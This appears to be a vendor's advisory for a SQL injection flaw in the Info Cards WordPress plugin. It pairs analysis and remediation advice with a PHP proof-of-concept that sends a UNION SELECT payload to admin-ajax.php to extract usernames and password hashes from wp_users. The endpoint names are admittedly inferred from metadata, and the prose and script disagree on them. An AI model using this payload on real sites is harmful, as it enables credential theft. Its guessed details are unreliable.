Atomic Edge analysis of CVE-2026-4120 (metadata-based): The vulnerability is a critical SQL Injection flaw in the Info Cards WordPress plugin. It allows unauthenticated attackers to execute arbitrary SQL commands via a plugin endpoint, leading to complete database compromise.
Based on the CWE classification, the root cause is improper neutralization of special elements used in an SQL command. Atomic Edge research infers the plugin directly concatenates user-supplied input into an SQL query without using prepared statements or proper escaping. This conclusion is drawn from the vulnerability type, as no source code diff is available for confirmation.
Exploitation likely targets a public-facing AJAX handler. Attackers would send a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to a hook like `info_cards_action`. They would inject SQL payloads via a parameter such as `id` or `card_id`. A typical payload would be `1′ UNION SELECT user_login,user_pass FROM wp_users– -` to extract administrator credentials.
Remediation requires implementing proper input validation and parameterized queries using WordPress’s `$wpdb->prepare()` method. The plugin must also enforce capability checks on the affected endpoint to restrict access, though the primary fix is securing the SQL query construction.
Successful exploitation grants attackers full read access to the WordPress database. They can extract sensitive data including user credentials, personally identifiable information, and plugin-specific data. Attackers may also achieve privilege escalation by modifying user capabilities or gain remote code execution by writing to options tables, depending on database permissions and server configuration.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
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// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4120 - Info Cards Plugin SQL Injection
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is inferred from the plugin slug.
// This is a common pattern where the action parameter maps to a WordPress hook.
$post_data = array(
'action' => 'info_cards_get_card', // Inferred vulnerable AJAX action
'id' => "1' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -", // SQL injection payload
// A nonce parameter may be required if the endpoint expects one.
// This exploit assumes the endpoint lacks proper nonce verification, which is common in such vulnerabilities.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Set a realistic User-Agent to avoid basic filtering.
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Request sent. Analyze the response for database data.n";
echo "Response snippet: " . substr($response, 0, 500) . "n";
// In a real attack, the response would be parsed for usernames and password hashes.
} else {
echo "Request failed with HTTP code: $http_coden";
}
?>
